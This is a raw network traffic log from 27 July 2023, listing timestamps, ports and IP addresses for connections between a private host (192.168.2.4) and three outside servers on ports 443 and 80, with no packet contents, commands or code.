Jul 27, 2023 18:26:59.925687075 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.925726891 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.925745964 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.925780058 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.926091909 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.926112890 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.926130056 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.926167965 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.926187992 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.926212072 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.926470041 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.926493883 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.926543951 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.926558971 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.926584959 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.927001953 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.927057981 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.927089930 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.927113056 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.927134991 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.927674055 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.927773952 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.927833080 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.997842073 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.997962952 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.998006105 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.998223066 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.998245955 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.998305082 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.998323917 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.998347998 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.998421907 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.998436928 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.998487949 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.998514891 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.998534918 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.998586893 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.998609066 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.998620033 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.998997927 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.999063015 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.999121904 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.999140978 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.999171019 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.999625921 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:26:59.999737978 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:26:59.999756098 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.000130892 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.000206947 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.000222921 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.000549078 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.000669003 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.000686884 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.000901937 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.000993967 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.001009941 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.001336098 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.001441956 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.001460075 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.001732111 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.001820087 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.001838923 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.002151966 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.002230883 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.002249002 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.002309084 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.002496004 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.002578974 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.002595901 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.002994061 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.003127098 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.003144979 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.058497906 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.071217060 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.071244001 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.071357965 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.071386099 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.071405888 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.071511984 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.071563005 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.071588993 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.071605921 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.071630955 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.071885109 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.071974993 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.071991920 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.072233915 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.072323084 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.072338104 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.072694063 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.072802067 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.072820902 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.073117018 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.073227882 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.073244095 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.073441982 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.073793888 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.073807001 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.074043036 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.074139118 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.074157000 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.074373007 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.074465990 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.074481010 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.074670076 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.074750900 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.074764967 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.074872017 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.074958086 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.074971914 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.075382948 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.075491905 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.075517893 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.075700045 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.075783014 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.075798035 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.075907946 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.075987101 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.076000929 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.076168060 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.076256990 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.076287031 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.076459885 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.076550961 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.076566935 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.076705933 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.076772928 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.076786995 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.076832056 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.076848030 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.076893091 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.076935053 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.076961994 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.076988935 CEST	49703	443	192.168.2.4	213.6.54.58
Jul 27, 2023 18:27:00.077003002 CEST	443	49703	213.6.54.58	192.168.2.4
Jul 27, 2023 18:27:00.429697037 CEST	49702	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:00.446345091 CEST	80	49702	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:00.446408033 CEST	49702	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:00.486438990 CEST	49704	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:00.502935886 CEST	80	49704	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:00.505624056 CEST	49704	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:00.505930901 CEST	49704	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:00.505986929 CEST	49704	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:00.522268057 CEST	80	49704	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:00.522294998 CEST	80	49704	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:00.618655920 CEST	80	49704	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:00.618680954 CEST	80	49704	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:00.618791103 CEST	49704	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:00.723582983 CEST	49704	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:00.723627090 CEST	49704	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:00.743745089 CEST	80	49704	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:00.743778944 CEST	80	49704	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:00.793580055 CEST	80	49704	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:00.793745041 CEST	80	49704	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:00.793845892 CEST	49704	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:00.959682941 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:00.982053041 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:00.983860970 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:00.984126091 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.006355047 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.006509066 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.006535053 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.006553888 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.006572962 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.006592989 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.006611109 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.006616116 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.006628990 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.006644011 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.006649971 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.006664038 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.006669998 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.006689072 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.006716013 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.006773949 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.028955936 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.028987885 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.029006958 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.029026985 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.029046059 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.029069901 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.029088020 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.029088974 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.029107094 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.029119968 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.029128075 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.029154062 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.029174089 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.029205084 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.029241085 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.029259920 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.029278994 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.029298067 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.029314041 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.029316902 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.029335022 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.029336929 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.029351950 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.029357910 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.029378891 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.029396057 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.029397011 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.029416084 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.029434919 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.030699968 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.051661968 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.051712990 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.051732063 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.051750898 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.051769972 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.051789045 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.051809072 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.051827908 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.051839113 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.051851988 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.051871061 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.051892042 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.051911116 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.051912069 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.051912069 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.051912069 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.051929951 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.051949024 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.051969051 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.051975012 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.051989079 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.052006960 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.052016973 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.052027941 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.052054882 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.052089930 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.052175045 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.052194118 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.052212954 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.052232027 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.052249908 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.052277088 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.052289009 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.052305937 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.052309990 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.052328110 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.052346945 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.052359104 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.052366018 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.052380085 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.052386999 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.052407026 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.052418947 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.052426100 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.052444935 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.052463055 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.052473068 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.052489996 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.052494049 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.052510023 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.052560091 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.052930117 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.052982092 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.052999973 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.053018093 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.053037882 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.053041935 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.053076982 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.053114891 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.074486971 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.074518919 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.074544907 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.074568987 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.074594021 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.074616909 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.074620008 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.074640989 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.074652910 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.074666023 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.074672937 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.074691057 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.074743986 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.074752092 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.074778080 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.074801922 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.074825048 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.074835062 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.074850082 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.074857950 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.074959040 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.074984074 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075009108 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075032949 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075057983 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075069904 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.075069904 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.075083017 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075095892 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.075108051 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075133085 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075133085 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.075156927 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075181961 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075185061 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.075206995 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075232983 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075234890 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.075258017 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075280905 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075304985 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075314999 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.075330019 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075354099 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075356960 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.075380087 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075380087 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.075406075 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075424910 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.075431108 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075455904 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075480938 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075489044 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.075505972 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075531960 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075539112 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.075556040 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075579882 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075603008 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075609922 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.075628042 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075638056 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.075654030 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075679064 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075697899 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.075702906 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075728893 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075737953 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.075753927 CEST	80	49705	45.9.74.80	192.168.2.4
